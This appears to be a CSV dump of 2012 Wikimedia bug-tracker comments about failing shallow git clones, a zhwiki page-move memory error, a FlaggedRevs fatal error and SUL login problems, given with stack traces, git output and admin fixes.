+git clone --depth 1 https://github.com/Pita/etherpad-lite.git ==> 2,6M",,,1336159366,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-69,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1
+170657,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","Hmmmm, strange is my following observation (each clone into a fresh directory):
+
+git clone ssh://<username>@gerrit.wikimedia.org:29418/mediawiki/core.git
+du -h .
+==> 178 MB
+
+git clone --depth 1 ssh://<username>@gerrit.wikimedia.org:29418/mediawiki/core.git
+du -h .
+==> 360 MB [sic]
+
+==> Shallow clone needs 360 MB ??? I am puzzled.",,,1336158461,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-69,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+170646,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","Works for me with the 2.3 upgrade:
+
+$ git clone --depth 1 https://gerrit.wikimedia.org/r/p/mediawiki/core.git test-shallow-clone
+Cloning into 'test-shallow-clone'...
+remote: Counting objects: 31773, done
+remote: Finding sources: 100% (31773/31773)
+remote: Total 31773 (delta 12783), reused 16435 (delta 12783)
+Receiving objects: 100% (31773/31773), 291.11 MiB | 1.82 MiB/s, done.
+Resolving deltas: 100% (12783/12783), done.
+
+Marking FIXED.",,,1336156231,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0
+170636,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","(In reply to comment #2)
+> And for the record, it doesn't *crash* gerrit. It hits an exception that's
+> logged and it fails for the user, but it doesn't *crash*
+
+Thanks for investigating this in the logs, and for reporting!",,,1334344512,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-72,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+170628,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","And for the record, it doesn't *crash* gerrit. It hits an exception that's logged and it fails for the user, but it doesn't *crash*",,,1334344084,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,True,,,-72,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+170619,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","If this is indeed issue 769, I suspect it will be fixed by the 2.3 upgrade (since they upgraded JGit to 1.1).
+
+We can test again then.",,,1334343935,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,True,,,-72,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+37030,Moving page triggers HTTP 500 on zhwiki,"In all my attempts it always returns HTTP 500. However sometimes the moving action is done but sometimes it's not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1331122380,1366634165.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_description,declined,True,c2,1,False,False,True,-77,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+169666,Moving page triggers HTTP 500 on zhwiki,"Hmm, sounds sufficient to me. 
+Going to close this as WORKSFORME soon if nobody complains.",,,1365689620,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-20,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+169655,Moving page triggers HTTP 500 on zhwiki,"(In reply to comment #8)
+> Liangent: Is this still slow? 
+> Wondering if this is really MediaWiki code related or WM some server
+> issues...
+
+I forgot how slow it was, but now it takes 9s to move (observed in Firebug). Looks similar to its rendering time (<!-- Served by mw1087 in 6.769 secs. -->).",,,1364171560,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-23,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+169646,Moving page triggers HTTP 500 on zhwiki,"Liangent: Is this still slow? 
+Wondering if this is really MediaWiki code related or WM some server issues...",,,1364152874,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-23,True,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0
+169637,Moving page triggers HTTP 500 on zhwiki,"(In reply to comment #6)
+> Has this been seen since?  I'm bumping milestone, but I imagine it could be
+> closed as fixed.
+
+This particular page is movable now but the moving action is still somehow slow. Since this is an OOM error I would imagine there's still something expensive happening.",,,1349279562,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-47,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+169626,Moving page triggers HTTP 500 on zhwiki,"Has this been seen since?  I'm bumping milestone, but I imagine it could be closed as fixed.",,,1349028676,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0
+169617,Moving page triggers HTTP 500 on zhwiki,*** Bug 35049 has been marked as a duplicate of this bug. ***,,,1331175921,,PHID-USER-xxkolqnkrj3sfwdouu7j,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-77,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+169608,Moving page triggers HTTP 500 on zhwiki,"The first line would be useful also
+
+[07-Mar-2012 15:53:41] Fatal error: Allowed memory size of 125829120 bytes exhausted (tried to allocate 4064 bytes) at /usr/local/apache/common-local/php-1.19/includes/StringUtils.php on line 334",,,1331135829,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+169598,Moving page triggers HTTP 500 on zhwiki,"Server: srv241
+Method: POST
+URL: http://zh.wikipedia.org/w/index.php?title=Special:%E7%A7%BB%E5%8A%A8%E9%A1%B5%E9%9D%A2&action=submit&this=http500_is_for_reedy
+Cookie:<redacted>
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.19/includes/StringUtils.php(334): fss_prep_replace(Array)
+#1 /usr/local/apache/common-local/php-1.19/languages/LanguageConverter.php(442): ReplacementArray->replace('Android Market')
+#2 /usr/local/apache/common-local/php-1.19/languages/LanguageConverter.php(460): LanguageConverter->translate('Android Market', 'zh-tw')
+#3 /usr/local/apache/common-local/php-1.19/languages/Language.php(3311): LanguageConverter->autoConvertToAllVariants('Android Market')
+#4 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1734): Language->autoConvertToAllVariants('Android Market')
+#5 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1672): Parser->replaceInternalLinks2('#????????? ')
+#6 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1115): Parser->replaceInternalLinks('#????????? [[Go...')
+#7 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(345): Parser->internalParse('#????????? [[Go...')
+#8 /usr/local/apache/common-local/php-1.19/includes/WikiPage.php(1522): Parser->parse('#????????? [[Go...', Object(Title), Object(ParserOptions), true, true, 19489685)
+#9 /usr/local/apache/common-local/php-1.19/includes/WikiPage.php(1559): WikiPage->prepareTextForEdit('#????????? [[Go...', 19489685, Object(User))
+#10 /usr/local/apache/common-local/php-1.19/includes/Title.php(3665): WikiPage->doEditUpdates(Object(Revision), Object(User), Array)
+#11 /usr/local/apache/common-local/php-1.19/includes/Title.php(3483): Title->moveToInternal(Object(Title), '', true)
+#12 /usr/local/apache/common-local/php-1.19/includes/specials/SpecialMovepage.php(449): Title->moveTo(Object(Title), true, '', true)
+#13 /usr/local/apache/common-local/php-1.19/includes/specials/SpecialMovepage.php(98): MovePageForm->doSubmit()
+#14 /usr/local/apache/common-local/php-1.19/includes/SpecialPageFactory.php(476): MovePageForm->execute(NULL)
+#15 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(263): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#16 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(593): MediaWiki->performRequest()
+#17 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(503): MediaWiki->main()
+#18 /usr/local/apache/common-local/php-1.19/index.php(58): MediaWiki->run()
+#19 /usr/local/apache/common-local/live-1.5/index.php(3): require('/usr/local/apac...')
+#20 {main}",,,1331135770,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1
+169587,Moving page triggers HTTP 500 on zhwiki,"(In reply to comment #1)
+> I'm presuming this is new behaviour on 1.19wmf1?
+
+The community reported this error only after the upgrade.
+
+I did some other moves and they didn't trigger 500, so more specifically, one of those problematic pages is [[Android Market]].",,,1331134743,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-77,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1
+169579,Moving page triggers HTTP 500 on zhwiki,I'm presuming this is new behaviour on 1.19wmf1?,,,1331133834,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+36544,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.","**Author:** `neil`
+
+**Description:**
+
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Platform**: PC
+**URL**: http://en.wikibooks.org/w/index.php?title=A_General_Style_Guide_for_the_English_Language&diff=cur&oldid=2267115",High,80.0,1329751440,1329763592.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_description,resolved,True,c2,1,False,False,True,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+168175,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.",Fixed in r111950.,,,1329763592,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+168170,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.",apache2[1291]: PHP Fatal error:  Call to a member function getUser() on a non-object in /usr/local/apache/common-local/php-1.19/includes/RevisionList.php on line 281,,,1329762770,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+168168,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.","**neil** wrote:
+
+Sample URL http://en.wikibooks.org/w/index.php?title=A_General_Style_Guide_for_the_English_Language&diff=cur&oldid=2267115
+
+Hitting ""Reject Revision"" button forwards to http://en.wikibooks.org/w/index.php?title=Special:RevisionReview&action=submit
+
+then returns an HTTP 500 error. Three sysops on en.wb are all reporting the same issue, across different browsers (IE, FF and Opera) and different pages.",,,1329751571,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_subcomment,,True,c2,1,False,,,-80,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+36512,unable to (SUL-)login on ru.wikiversity.org,"**Author:** `kontakt-bugzilla-wikimedia-org-22.07.2011`
+
+**Description:**
+It happened again, see https://bugzilla.wikimedia.org/show_bug.cgi?id=34381 ...
+
+I'm steward and my SUL is active in more than 400 wmf projects. Today I was renaming some user accounts via http://toolserver.org/~quentinv57/tools/global_renaming.ph - then I came to ru.wikiversity.org:
+
+http://ru.wikiversity.org/w/index.php?title=Special:RenameUser&oldusername=Mietchen&newusername=Daniel+Mietchen&reason=see+[[meta%3ASteward_requests%2FUsername_changes%23Mietchen%40global]]
+
+... and on top of the page I read ""Axpde Моя страница обсуждения Настройки Список наблюдения Мой вклад Завершение сеанса"", i.e. my account has been automatically created. But then it reads:
+
+""Ошибка доступа
+Перейти к: навигация, поиск
+
+Запрошенное действие могут выполнять только участники из группы «Бюрократы».
+
+Возврат к странице Заглавная страница.""
+
+... i.e. permission error! And with the next click the top line vanished telling me to login first. But then I wasn't able to login. I tried to reset my password, but it reads:
+
+""Для участника с именем Axpde электронный адрес указан не был.""
+
+... which means something like ""no email address attached to that account"" (exact translation impossible 'cause translate.google.com went nuts :(
+
+
+Same happened on zh-yue.wikipedia.org, ru.wikibooks.org (managed to get it working via reset password) and uz.wikiquote.org before (no email address to rest password, see https://bugzilla.wikimedia.org/show_bug.cgi?id=34381 ...).
+
+Please fix and please, tell me how can this happen for the second time this month?!?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=34381",High,80.0,1329656040,1330165896.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_description,resolved,True,c2,1,False,False,True,-80,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+166222,unable to (SUL-)login on ru.wikiversity.org,"I have updated the local user emails with the global account email:
+
+$ mwscript eval.php ruwikiversity
+> $u = User::newFromName( 'Axpde' );
+> $u->setEmail(  );
+> $u->saveSettings();
+$
+
+$ mwscript eval.php kkwiktionary
+> $u = User::newFromName( 'Axpde' );
+> $u->setEmail(  );
+> $u->saveSettings();
+> exit
+$
+
+User requested password reset and manually merged the accounts.",,,1330165896,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,True,,,-79,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+166217,unable to (SUL-)login on ru.wikiversity.org,"The issue is same as bug 34381, a local user was created without the global user informations :-(
+
+
+[ruwikiversity]> select * from user where user_name='Axpde' \G
+*************************** 1. row ***************************
+                 user_id: 8767
+               user_name: Axpde
+          user_real_name: 
+           user_password: 
+        user_newpassword: 
+       user_newpass_time: NULL
+              user_email: 
+            user_options: 
+            user_touched: 
+              user_token: SOMETOKEN
+user_email_authenticated: NULL
+        user_email_token: NULL
+user_email_token_expires: NULL
+       user_registration: 20120219121634
+          user_editcount: 0
+1 row in set (0.00 sec)
+
+
+
+[kkwiktionary]> select * from user where user_name='Axpde' \G
+*************************** 1. row ***************************
+                 user_id: 1001
+               user_name: Axpde
+          user_real_name: 
+           user_password: 
+        user_newpassword: 
+              user_email: 
+            user_options: 
+            user_touched: 
+              user_token: SOME TOKEN
+user_email_authenticated: NULL
+        user_email_token: NULL
+user_email_token_expires: NULL
+       user_registration: 20120219131726
+       user_newpass_time: NULL
+          user_editcount: 0
+1 row in set (0.00 sec)",,,1330165462,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,True,,,-79,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1
+166211,unable to (SUL-)login on ru.wikiversity.org,Generic bug report is bug 34705,,,1330165295,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,True,,,-79,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+166206,unable to (SUL-)login on ru.wikiversity.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:
+
+Neither
+
+* ru.wikiversity.org
+
+nor 
+
+* kk.wiktionary.org
+
+are listed on my https://meta.wikimedia.org/wiki/Special:MergeAccount (sulinfo won't work at the moment due to toolserver problems) and I can't
+
+# login on both sites
+# reset my password on both sites!
+
+So it's no duplicate of bug 34582 and it's still not solved!
+
+Please set my email address on both sites to enable me to reset my password. Thank you!",,,1330160243,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+166201,unable to (SUL-)login on ru.wikiversity.org,"
+
+*** This bug has been marked as a duplicate of bug 34582 ***",,,1330107854,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+166196,unable to (SUL-)login on ru.wikiversity.org,"It took a few bug reports before we looked at this the way we should have, but we think we resolved this as part of bug 34582.  Sorry for the inconvenience!",,,1330107796,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-79,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+166191,unable to (SUL-)login on ru.wikiversity.org,Seems to be related to bug 34478,,,1329755489,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+166185,unable to (SUL-)login on ru.wikiversity.org,This has nothing to do with surveys... moving to the same component bug 34381 is in.,,,1329665180,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+166180,unable to (SUL-)login on ru.wikiversity.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:
+
+Another very strange thing on kk.wikibooks.org:
+
+# at 13:17, 19. Feb. 2012 my account was created.
+# at 13:18, 19. Feb. 2012 I was able to do the rename
+# at 13:29, 19. Feb. 2012 I was forced to reset my password to access my account again!!
+
+What the h...eck is going wrong on wmf servers?!?",,,1329658770,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+166175,unable to (SUL-)login on ru.wikiversity.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:
+
+It happened once again! Now I can't access my accounts on the following wikis
+
+* ru.wikiversity.org
+* kk.wiktionary.org
+
+
+I was able to merged the account via reset password and ""merge accounts"" on
+
+* kk.wikibooks.org
